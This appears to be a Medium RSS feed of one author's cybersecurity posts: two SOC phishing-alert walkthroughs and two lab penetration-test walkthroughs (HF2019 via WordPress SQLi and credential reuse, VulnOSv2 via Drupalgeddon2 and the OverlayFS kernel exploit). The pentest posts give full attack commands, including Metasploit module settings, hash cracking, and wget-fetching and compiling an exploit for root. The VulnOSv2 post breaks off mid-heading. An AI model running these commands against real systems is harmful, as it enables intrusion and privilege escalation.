Sandbox analysis confirmed the attachment was malicious, and log analysis verified that the user executed the malware. Proxy logs showed outbound communication to the attacker’s infrastructure, confirming the compromise. The malicious email was removed from the mailbox, and the affected endpoint was successfully contained using the EDR platform, preventing further malicious activity.</p><h3>Connect With Me</h3><p><strong>GitHub:</strong> <a href="https://github.com/Ajaydevs007">https://github.com/Ajaydevs007</a></p><p><strong>LinkedIn:</strong> <a href="http://www.linkedin.com/in/ajaydev-s">www.linkedin.com/in/ajaydev-s</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=869125f78201" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating an Internal Phishing Alert — SOC120: Phishing Mail Detected — Internal to Internal |…]]></title>
            <link>https://medium.com/@ajaydevsv/investigating-an-internal-phishing-alert-soc120-phishing-mail-detected-internal-to-internal-a3e81479bfd2?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3e81479bfd2</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 08:27:19 GMT</pubDate>
            <atom:updated>2026-07-06T08:27:19.826Z</atom:updated>
            <content:encoded><![CDATA[<h3>Investigating an Internal Phishing Alert — SOC120: Phishing Mail Detected — Internal to Internal | LetsDefend SOC Walkthrough</h3><blockquote><strong><em>Alert Classification:</em></strong><em> ❌ False Positive<br> </em><strong><em>Platform:</em></strong><em> LetsDefend<br> </em><strong><em>Category:</em></strong><em> Email Security / False Positive Analysis<br> </em><strong><em>Status:</em></strong><em> Closed</em></blockquote><h3>Introduction</h3><p>In this walkthrough, I investigated an email alert that was initially classified as a phishing attempt between two internal users.</p><p>Unlike many phishing investigations where the outcome is malicious, this case demonstrates an equally important SOC analyst skill — <strong>identifying and documenting a False Positive</strong>.</p><p>The investigation involved:</p><ul><li>Parsing the email metadata</li><li>Reviewing sender and recipient information</li><li>Inspecting the email content</li><li>Verifying the presence of attachments or URLs</li><li>Determining whether the alert represented malicious activity</li><li>Documenting the reason for closing the alert as a False Positive</li></ul><h3>Alert Details</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWMXu1T4Ya-zJphNgOZ9IA.png" /></figure><h3>Alert Classification</h3><pre>FALSE POSITIVE</pre><p>Although the detection rule generated an alert, the investigation found no evidence of phishing or malicious behavior.</p><h3>Step 1 — Parse the Email</h3><p>The first step was collecting the email metadata.</p><h3>Information Obtained</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*Pv6qi1R-iOYufUoS2r7A3A.png" /></figure><h3>Step 2 — Inspect the Email Content</h3><p>After opening the email, the message contained:</p><blockquote><strong><em>Hi Susie, Can we arrange a meeting today if you are available?</em></strong></blockquote><h3>Findings</h3><ul><li>Normal business communication</li><li>No urgent language</li><li>No requests for credentials</li><li>No suspicious wording</li><li>No impersonation</li><li>No social engineering indicators</li></ul><p>The email appeared to be a legitimate internal communication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*hp1eH0cglTY4AcFXNXvL0A.png" /></figure><h3>Step 3 — Check for Attachments or URLs</h3><p>The next step was determining whether the email contained any malicious payloads.</p><p>Result:</p><pre>Attachments: None<br>URLs: None</pre><p>Since there were neither attachments nor hyperlinks, there was no malicious content to analyze.</p><h3>Step 4 — Verify Sender and Recipient</h3><p>One important observation was that both the sender and recipient belonged to the organization’s internal domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*34Y3R2JcKOiLmWhlT-pCmg.png" /></figure><p>This alone does <strong>not</strong> guarantee an email is safe, but in this case it supported the conclusion that the communication was legitimate.</p><h3>Step 5 — Determine the Alert Classification</h3><p>During the investigation, I reviewed all available evidence.</p><h3>Findings</h3><ul><li>Internal sender</li><li>Internal recipient</li><li>Normal meeting request</li><li>No phishing language</li><li>No attachments</li><li>No URLs</li><li>No malicious indicators</li><li>Email allowed by the mail gateway</li></ul><p>Because there was no evidence of phishing activity, the alert was classified as:</p><pre>FALSE POSITIVE</pre><h3>Indicators Reviewed</h3><h3>SMTP Address</h3><pre>172.16.20.3</pre><h3>Sender</h3><pre>john@letsdefend.io</pre><h3>Recipient</h3><pre>susie@letsdefend.io</pre><h3>Subject</h3><pre>Meeting</pre><h3>Device Action</h3><pre>Allowed</pre><h3>Attachments</h3><pre>None</pre><h3>URLs</h3><pre>None</pre><h3>Why This Was a False Positive</h3><p>The alert triggered because of the detection rule, but the investigation showed:</p><ul><li>The email was legitimate.</li><li>It contained no malicious attachments.</li><li>It contained no phishing URLs.</li><li>The message was a standard internal meeting request.</li><li>No indicators of compromise (IOCs) were identified.</li></ul><p>As SOC analysts, it’s just as important to correctly identify benign activity as it is to detect malicious activity.</p><h3>Final Verdict</h3><pre>FALSE POSITIVE</pre><p>The investigation confirmed that this was legitimate internal business communication rather than a phishing attempt.</p><p>The alert was closed without requiring any containment or remediation actions.</p><h3>Key Takeaways</h3><ul><li>Not every security alert represents malicious activity.</li><li>Always validate alerts with evidence before classifying them.</li><li>Internal emails should still be reviewed for impersonation or compromise.</li><li>Check the email body, attachments, and URLs before making a decision.</li><li>Accurate False Positive identification helps reduce alert fatigue and allows analysts to focus on genuine threats.</li></ul><h3>SOC Workflow Completed</h3><ul><li>Alert Triage: Completed</li><li>Email Parsing: Completed</li><li>Email Content Review: Completed</li><li>Attachment Check: Completed</li><li>URL Check: Completed</li><li>Alert Validation: Completed</li><li>Analyst Notes Added: Completed</li><li>Artifacts Added: Completed</li><li>Playbook Executed: Completed</li><li>Alert Classification: False Positive</li><li>Incident Status: Closed</li></ul><h3>Analyst Note</h3><blockquote><em>The email alert was investigated and determined to be a </em><strong><em>False Positive</em></strong><em>. The message originated from the internal sender </em><strong><em>john@letsdefend.io</em></strong><em> and was addressed to </em><strong><em>susie@letsdefend.io</em></strong><em>. The subject was </em><strong><em>“Meeting”</em></strong><em> and the email contained a normal request to arrange a meeting. No attachments, URLs, suspicious language, phishing indicators, or malicious content were identified. The email was successfully delivered because it represented legitimate internal business communication. No indicators of compromise (IOCs) were found, and no containment or remediation actions were required.</em></blockquote><h3>Connect With Me</h3><p><strong>GitHub:</strong> <a href="https://github.com/Ajaydevs007">https://github.com/Ajaydevs007</a></p><p><strong>LinkedIn:</strong> <a href="http://www.linkedin.com/in/ajaydev-s">www.linkedin.com/in/ajaydev-s</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3e81479bfd2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating a Phishing Email with a Malicious ZIP Attachment — SOC140: Phishing Mail Detected —…]]></title>
            <link>https://medium.com/@ajaydevsv/investigating-a-phishing-email-with-a-malicious-zip-attachment-soc140-phishing-mail-detected-5b05fa0754ca?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b05fa0754ca</guid>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Sun, 05 Jul 2026 17:24:57 GMT</pubDate>
            <atom:updated>2026-07-05T17:24:57.109Z</atom:updated>
            <content:encoded><![CDATA[<h3>Investigating a Phishing Email with a Malicious ZIP Attachment — SOC140: Phishing Mail Detected — Suspicious Task Scheduler | LetsDefend SOC Walkthrough</h3><blockquote><strong><em>Alert Classification:</em></strong><em> ✅ True Positive<br> </em><strong><em>Platform:</em></strong><em> LetsDefend<br> </em><strong><em>Category:</em></strong><em> Phishing / Malicious Attachment<br> </em><strong><em>Status:</em></strong><em> Blocked Before Delivery</em></blockquote><h3>Introduction</h3><p>In this walkthrough, I investigated a phishing email alert triggered by a suspicious email containing a password-protected ZIP attachment.</p><p>The investigation involved:</p><ul><li>Parsing email metadata</li><li>Inspecting sender and recipient information</li><li>Analyzing the malicious attachment</li><li>Reviewing sandbox results</li><li>Determining whether the email reached the user</li><li>Validating the alert classification</li></ul><p>This lab demonstrates a common SOC workflow for investigating phishing emails before they can impact end users.</p><h3>Alert Details</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4DHnDsF-XJIekrVNKMSLQ.png" /></figure><h3>Alert Classification</h3><p>TRUE POSITIVE</p><p>Although the email was blocked before reaching the recipient, the attachment was confirmed malicious through sandbox analysis.</p><h3>Step 1 — Parse the Email</h3><p>The first step was collecting the basic email information.</p><p>Information Obtained</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*ZY-SMeaEEe1z23G5bVYUGg.png" /></figure><p>The email immediately appeared suspicious because it used a trending COVID-19 theme to encourage users to open the attachment.</p><h3>Step 2 — Inspect the Email Content</h3><p>The email body contained:</p><blockquote><em>“Hey, did you read breaking news about Covid-19. Open it now!”</em></blockquote><p>It also included:</p><pre>password: infected</pre><p>This password was intended to open the attached ZIP archive.</p><h3>Why Is This Suspicious?</h3><p>Several phishing indicators were present:</p><ul><li>Uses COVID-19 as social engineering.</li><li>Encourages immediate action.</li><li>Includes a password-protected attachment.</li><li>Generic message with no personalization.</li><li>Unknown external sender.</li></ul><p>Password-protected archives are commonly used to bypass email security controls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALmxjlkP-w455HKTZa1wbw.png" /></figure><h3>Step 3 — Check Attachments</h3><p>The email contained one attachment.</p><pre>72c812cf21909a48eb9cceb9e04b865d.zip</pre><p>The attachment was password protected using:</p><pre>infected</pre><p>Inside the ZIP archive was:</p><pre>Material.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALmxjlkP-w455HKTZa1wbw.png" /></figure><h3>Step 4 — Analyze the Attachment</h3><p>I analyzed the ZIP file using <strong>Hybrid Analysis</strong>.</p><h3>Sandbox Results</h3><p>The attachment was classified as:</p><pre>Malicious</pre><p>Threat Score:</p><pre>100 / 100</pre><p>The bundled PDF file was also marked as malicious.</p><p>This confirmed that the attachment represented an actual malware threat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-mLFPYXxYIEoDSi9VTHIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gMNcZzBCoZBPLYDj8XmKOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dAzfllO-9Pu3BQ85axYkWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o6eNw7XqfU7IgVATpHRjqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s70FoOWpRnruMR4R7Y4fvg.png" /></figure><h3>Step 5 — Review Additional Sandbox Information</h3><p>Hybrid Analysis identified:</p><ul><li>Malicious ZIP archive</li><li>Malicious bundled PDF</li><li>Multiple sandbox executions</li><li>Successful Windows execution reports</li><li>SHA256 hash available for threat hunting</li></ul><p>This provides strong evidence supporting the malicious classification.</p><h3>Step 6 — Was the Email Delivered?</h3><p>The alert details showed:</p><pre>Device Action: Blocked</pre><p>Therefore:</p><pre>Email Delivered?<br>NO</pre><p>The email gateway successfully prevented delivery.</p><p>This means:</p><ul><li>User never received the email.</li><li>Attachment was never executed.</li><li>No endpoint compromise occurred.</li></ul><h3>Step 7 — Log Verification</h3><p>I also verified the SMTP communication using Log Management.</p><p>Observed information included:</p><ul><li>SMTP IP</li><li>Sender address</li><li>Recipient address</li><li>SMTP port</li><li>Exchange logs</li></ul><p>The logs matched the alert information and confirmed the phishing attempt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2-pw6IVoPXppwGZBEoaBrw.png" /></figure><h3>Step 8 — Why This Was a True Positive</h3><p>The alert was classified as a <strong>True Positive</strong> because:</p><ul><li>The email contained a malicious attachment.</li><li>Hybrid Analysis classified the attachment as malicious.</li><li>The attachment included a malicious PDF.</li><li>Multiple phishing indicators were identified.</li><li>The email was successfully blocked before reaching the recipient.</li></ul><p>Although no user interaction occurred, the threat itself was genuine.</p><h3>Indicators of Compromise (IOCs)</h3><h3>SMTP IP</h3><pre>189.162.189.159</pre><h3>Sender</h3><pre>aaronluo@cmail.carleton.ca</pre><h3>Recipient</h3><pre>mark@letsdefend.io</pre><h3>Subject</h3><pre>COVID19 Vaccine</pre><h3>ZIP Attachment</h3><pre>72c812cf21909a48eb9cceb9e04b865d.zip</pre><h3>Bundled File</h3><pre>Material.pdf</pre><h3>SHA256</h3><pre>60541635bdb3c008a9cfa15d8df82d45ec742131c9b4ad1858b558ef7df2af38</pre><h3>Final Verdict</h3><pre>TRUE POSITIVE</pre><p>The investigation confirmed a phishing email carrying a malicious ZIP attachment containing a malicious PDF file.</p><p>The attachment was validated using Hybrid Analysis and classified as malicious.</p><p>Fortunately, the email security gateway blocked the email before delivery, preventing user interaction and eliminating the need for endpoint containment.</p><h3>Key Takeaways</h3><p>This investigation highlights several important phishing investigation concepts:</p><ul><li>Always inspect sender, recipient, and subject information.</li><li>Password-protected ZIP files are commonly used in phishing campaigns.</li><li>Sandbox analysis helps validate suspicious attachments.</li><li>Threat intelligence should be combined with email metadata.</li><li>A blocked phishing email can still be a True Positive.</li><li>Blocking the email before delivery significantly reduces organizational risk.</li></ul><h3>SOC Workflow Completed</h3><ul><li>Alert Triage: Completed</li><li>Email Parsing: Completed</li><li>Attachment Analysis: Completed</li><li>Sandbox Investigation: Completed</li><li>Log Verification: Completed</li><li>IOC Collection: Completed</li><li>Analyst Notes Added: Completed</li><li>Artifacts Added: Completed</li><li>Playbook Executed: Completed</li><li>Alert Classification: True Positive</li><li>Incident Status: Closed</li></ul><h3>Analyst Note</h3><blockquote><em>A phishing email with the subject </em><strong><em>“COVID19 Vaccine”</em></strong><em> was identified originating from </em><strong><em>aaronluo@cmail.carleton.ca</em></strong><em> (SMTP IP: </em><strong><em>189.162.189.159</em></strong><em>) and targeting </em><strong><em>mark@letsdefend.io</em></strong><em>. The email contained a password-protected ZIP attachment (</em><strong><em>72c812cf21909a48eb9cceb9e04b865d.zip</em></strong><em>) which was analyzed using Hybrid Analysis and classified as </em><strong><em>malicious</em></strong><em> with a </em><strong><em>Threat Score of 100/100</em></strong><em>. The archive contained a malicious PDF file (</em><strong><em>Material.pdf</em></strong><em>). The email security gateway successfully blocked the message before delivery, preventing any user interaction with the malicious attachment. The alert was classified as a </em><strong><em>True Positive</em></strong><em> representing a blocked phishing attempt. No endpoint containment actions were required because the email was never delivered.</em></blockquote><h3>Connect With Me</h3><p><strong>GitHub:</strong><br> <a href="https://github.com/Ajaydevs007">https://github.com/Ajaydevs007</a></p><p><strong>LinkedIn:</strong><br><a href="https://medium.com/www.linkedin.com/in/ajaydev-s"> </a><a href="http://www.linkedin.com/in/ajaydev-s">www.linkedin.com/in/ajaydev-s</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b05fa0754ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HF2019 Walkthrough | From Enumeration to Root (WordPress SQLi + Credential Reuse)]]></title>
            <link>https://medium.com/@ajaydevsv/hf2019-walkthrough-from-enumeration-to-root-wordpress-sqli-credential-reuse-5b7b4f03d081?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b7b4f03d081</guid>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 11:02:16 GMT</pubDate>
            <atom:updated>2026-06-06T11:02:16.580Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this walkthrough, I performed a full penetration test against the HF2019 vulnerable machine. The attack chain involved service enumeration, anonymous FTP access, WordPress information disclosure, SQL Injection in the WP Google Maps plugin, password hash cracking, credential reuse, and privilege escalation to root.</p><blockquote><em>This machine was solved in a controlled lab environment for educational purposes.</em></blockquote><h3>Phase 1: Host Discovery</h3><p>First, I identified my attacker’s IP address:</p><pre>ip a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mlR6g7q9n_rOaATx4Hna2A.png" /></figure><p>After confirming my network, I discovered active hosts:</p><pre>sudo netdiscover</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aS9SQlhn0tF2LLkOpe76Gg.png" /></figure><p>Target identified:</p><pre>192.168.0.10</pre><h3>Phase 2: Port Enumeration</h3><p>I started with a basic scan:</p><pre>sudo nmap -Pn 192.168.0.10</pre><p>Then performed a more detailed scan:</p><pre>sudo nmap -sC -sV -O -Pn 192.168.0.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZyR2c7PFjvTyzAdPnIT0g.png" /></figure><p>Open ports discovered:</p><ul><li>21/tcp → FTP</li><li>22/tcp → SSH</li><li>80/tcp → HTTP</li><li>10000/tcp → Webmin</li></ul><h3>Phase 3: Anonymous FTP Access</h3><p>Testing FTP revealed anonymous login was enabled:</p><pre>ftp 192.168.0.10</pre><p>Username:</p><pre>anonymous</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JO4oB2-tvi44UJ69APJHoA.png" /></figure><p>Browsing the FTP share revealed the WordPress installation files.</p><h3>Phase 4: Information Disclosure via wp-config.php</h3><p>Since FTP allowed file downloads, I retrieved:</p><pre>get wp-config.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NJd6ftU0RVRHWfaC8hL9Cw.png" /></figure><p>Inspecting the file:</p><pre>cat wp-config.php</pre><p>revealed:</p><ul><li>Database name</li><li>Database username</li><li>Database password</li><li>Table prefix (wp_)</li></ul><h3>Phase 5: WordPress Enumeration</h3><p>Using WPScan:</p><pre>wpscan --url http://192.168.0.10 --enumerate u,p,t</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ouYv2jtP-zXTefFBx_grwA.png" /></figure><p>Results:</p><h3>User Found</h3><pre>webmaster</pre><h3>Plugin Found</h3><pre>wp-google-maps</pre><h3>WordPress Version</h3><pre>5.2.3</pre><h3>Phase 6: Vulnerability Research</h3><p>Researching the plugin revealed a known SQL Injection vulnerability affecting:</p><pre>WP Google Maps 7.11.00 - 7.11.17</pre><p>Rapid7 already provided a Metasploit module for exploitation.</p><h3>Phase 7: SQL Injection via Metasploit</h3><p>Started Metasploit:</p><pre>msfconsole</pre><p>Search:</p><pre>search wp_google_maps</pre><p>Selected module:</p><pre>use auxiliary/admin/http/wp_google_maps_sqli</pre><p>Configured:</p><pre>set RHOSTS 192.168.0.10</pre><p>Executed:</p><pre>run</pre><h3>Screenshot:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jc5ShSe6wIBvVv0TTbjuQw.png" /></figure><p>The module extracted credentials from the wp_users table:</p><pre>webmaster<br>$P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1</pre><h3>Phase 8: Password Hash Cracking</h3><p>Saved the hash:</p><pre>nano hash.txt</pre><p>Cracked the hash:</p><pre>john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p>Confirmed the password:</p><pre>john --show hash.txt</pre><p>Recovered credentials:</p><pre>Username: webmaster<br>Password: kittykat1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZDB3xFI127M8frJLS3mZLg.png" /></figure><h3>Phase 9: Credential Reuse</h3><p>The recovered credentials worked for:</p><h3>WordPress Admin Panel</h3><pre>webmaster : kittykat1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qrF6KQmW9ilbaWpqoUQHSA.png" /></figure><h3>SSH Access</h3><pre>ssh webmaster@192.168.0.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DSrcdrs5b100fWtTGvIfrQ.png" /></figure><h3>Phase 10: Privilege Escalation</h3><p>After gaining shell access, I gathered system information:</p><pre>id<br>whoami<br>hostname<br>uname -a<br>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XMpD-W7YROfkqd9UzxJIrA.png" /></figure><p>Output:</p><pre>(ALL) ALL</pre><p>This indicated that the user webmaster could execute any command as root.</p><p>Escalation:</p><pre>sudo su</pre><p>Verification:</p><pre>whoami</pre><p>Output:</p><pre>root</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XMpD-W7YROfkqd9UzxJIrA.png" /></figure><h3>Attack Chain Summary</h3><pre>Enumeration<br>↓<br>Anonymous FTP<br>↓<br>wp-config.php Disclosure<br>↓<br>WPScan<br>↓<br>Plugin Enumeration<br>↓<br>SQL Injection<br>↓<br>Hash Extraction<br>↓<br>John the Ripper<br>↓<br>Credential Reuse<br>↓<br>SSH Access<br>↓<br>sudo -l<br>↓<br>Root</pre><h3>Tools Used</h3><ul><li>Netdiscover</li><li>Nmap</li><li>FTP</li><li>WPScan</li><li>Metasploit Framework</li><li>John the Ripper</li></ul><h3>Conclusion</h3><p>HF2019 demonstrated how multiple small weaknesses can combine into a complete system compromise:</p><ul><li>Anonymous FTP access</li><li>Sensitive file exposure</li><li>Vulnerable WordPress plugin</li><li>Weak password</li><li>Credential reuse</li><li>Misconfigured sudo permissions</li></ul><p>This machine reinforced the importance of proper enumeration and understanding the attack chain instead of blindly running tools.</p><h3>Connect With Me</h3><h3>LinkedIn</h3><pre>www.linkedin.com/in/ajaydev-s</pre><h3>GitHub</h3><pre>https://github.com/Ajaydevs007/vapt-journey</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b7b4f03d081" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnOSv2 Walkthrough — Drupalgeddon2 to Root via OverlayFS]]></title>
            <link>https://medium.com/@ajaydevsv/vulnosv2-walkthrough-drupalgeddon2-to-root-via-overlayfs-d0a00aa64129?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0a00aa64129</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[drupal]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Sun, 31 May 2026 06:21:07 GMT</pubDate>
            <atom:updated>2026-05-31T06:21:07.362Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this walkthrough, I performed a complete penetration test against the vulnerable machine <strong>VulnOSv2</strong>.<br>The attack chain involved:</p><ul><li>Network discovery</li><li>Service enumeration</li><li>Drupal enumeration</li><li>Exploiting Drupalgeddon2</li><li>Gaining an initial shell</li><li>Linux privilege escalation using OverlayFS</li><li>Achieving root access</li></ul><p>This machine is excellent for beginners who want hands-on experience with:</p><ul><li>Drupal exploitation</li><li>Meterpreter usage</li><li>Linux privilege escalation</li><li>Post-exploitation techniques</li></ul><h3>Machine Information</h3><p>FieldValueMachineVulnOSv2Target IP192.168.0.9Attacker IP192.168.0.8OSUbuntu 14.04DifficultyBeginner / Intermediate</p><h3>Tools Used</h3><ul><li>Netdiscover</li><li>Nmap</li><li>Gobuster</li><li>Wappalyzer</li><li>Metasploit Framework</li><li>Linux Exploit Suggester</li><li>GCC</li><li>Python HTTP Server</li></ul><h3>Step 1 — Host Discovery</h3><p>First, I identified the target machine on the network.</p><pre>sudo netdiscover</pre><p>The target machine was discovered at:</p><pre>192.168.0.9</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WItXvAz4fSFUoOiC6Eeq4A.png" /></figure><h3>Step 2 — Port Scanning</h3><p>Next, I performed a service scan using Nmap.</p><pre>nmap -sV 192.168.0.9</pre><h3>Open Ports</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SfLEU4NZXAekJ39SqJjM_Q.png" /></figure><p>The HTTP service looked like the main attack surface.</p><h3>Step 3 — Web Enumeration</h3><p>Browsing to the target IP revealed the VulnOSv2 landing page.</p><p>While exploring the website, I discovered another application hosted under:</p><pre>/jabc</pre><p>This appeared to be the real target application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xfxkV6wXKT80u_A2u_Wlfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bxrkGHGbIVKhYUlD8vKIiQ.png" /></figure><h3>Step 4 — Technology Fingerprinting</h3><p>Using Wappalyzer, I identified the technologies used by the application.</p><h3>Identified Technologies</h3><ul><li>Drupal 7</li><li>PHP 5.5.9</li><li>Apache 2.4.7</li><li>Ubuntu</li></ul><p>Since the application was running an old Drupal version, I suspected it could be vulnerable to known Drupal RCE exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*TRJ-sXtJcTVMMGIKEceU8w.png" /></figure><h3>Step 5 — Directory Enumeration</h3><p>I used Gobuster to enumerate directories inside the /jabc application.</p><pre>gobuster dir -u http://192.168.0.9/jabc -w /usr/share/wordlists/dirb/common.txt</pre><h3>Interesting Findings</h3><pre>/includes<br>/misc<br>/modules<br>/profiles<br>/scripts<br>/sites<br>/themes<br>/robots.txt<br>/xmlrpc.php</pre><p>These directories confirmed the application was indeed running Drupal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGQ2XxSYpVdlUxKB5EIGSg.png" /></figure><h3>Step 6 — Drupal Enumeration</h3><p>I checked the HTTP headers to confirm the Drupal version.</p><pre>curl -I http://192.168.0.9/jabc/?q=user/password</pre><p>The response contained:</p><pre>X-Generator: Drupal 7</pre><p>At this point, I started looking for public exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xN4469N1OiBrs3cxcFvDdg.png" /></figure><h3>Step 7 — Searching for Exploits</h3><p>Using Searchsploit:</p><pre>searchsploit drupal 7</pre><p>Several exploits were available, including:</p><ul><li>Drupalgeddon</li><li>Drupalgeddon2</li><li>RESTWS RCE</li></ul><p>The best candidate was:</p><pre>exploit/unix/webapp/drupal_drupalgeddon2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9nXhzgN5Jy2AUgCc_qV6mw.png" /></figure><h3>Step 8 — Exploiting Drupalgeddon2</h3><p>I started Metasploit and loaded the Drupalgeddon2 module.</p><pre>msfconsole</pre><pre>use exploit/unix/webapp/drupal_drupalgeddon2</pre><p>Then configured the exploit:</p><pre>set RHOSTS 192.168.0.9<br>set TARGETURI /jabc<br>set LHOST 192.168.0.8</pre><p>Finally, I launched the exploit.</p><pre>exploit</pre><p>The exploit worked successfully and opened a Meterpreter session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oAD6H64eoRVGWl0Vb3h1vg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*mdiIdP_YeVv1P3XaULYQfQ.png" /></figure><h3>Step 9 — Initial Shell Access</h3><p>I spawned a shell from Meterpreter.</p><pre>shell</pre><p>Then upgraded it into a proper TTY shell.</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>The compromised user was:</p><pre>www-data</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_JsjSp4yHRg6Cyn52t_4iw.png" /></figure><h3>Step 10 — System Enumeration</h3><p>I gathered system information.</p><pre>uname -a</pre><p>Result:</p><pre>Linux VulnOSv2 3.13.0-24-generic</pre><p>This old Ubuntu kernel immediately suggested possible local privilege escalation vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_vf6Du-yhf0MMS_ZbA-RJw.png" /></figure><h3>Step 11 — Linux Exploit Suggestion</h3><p>I transferred Linux Exploit Suggester onto the target.</p><h3>On Kali</h3><pre>python3 -m http.server 8000</pre><h3>On Target</h3><pre>wget http://192.168.0.8:8000/linux-exploit-suggester.sh<br>chmod +x linux-exploit-suggester.sh<br>./linux-exploit-suggester.sh</pre><p>The tool suggested several vulnerabilities including:</p><ul><li>Dirty COW</li><li>OverlayFS</li><li>Other Ubuntu kernel exploits</li></ul><p>OverlayFS looked highly promising.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SHgXhu8K2kJFrsy8boUn4g.png" /></figure><h3>Step 12 — OverlayFS Privilege Escalation</h3><p>I searched for the OverlayFS exploit.</p><pre>searchsploit 37292</pre><p>The exploit targeted:</p><pre>CVE-2015-1328</pre><p>I copied the exploit and hosted it from Kali.</p><pre>python3 -m http.server 8000</pre><p>Downloaded it onto the target:</p><pre>wget http://192.168.0.8:8000/37292.c</pre><p>Compiled the exploit:</p><pre>gcc 37292.c -o ofs</pre><p>Made it executable:</p><pre>chmod +x ofs</pre><p>Executed the exploit:</p><pre>./ofs</pre><p>The exploit succeeded and spawned a root shell.</p><h3>Step 13 — Root Access</h3><p>Privilege escalation was successful.</p><pre>id</pre><p>Output:</p><pre>uid=0(root) gid=0(root)</pre><p>Verify current user:</p><pre>whoami</pre><p>Output:</p><pre>root</pre><p>Full system compromise achieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJJrRimLOc-cQzVRawuCpg.png" /></figure><h3>Vulnerabilities 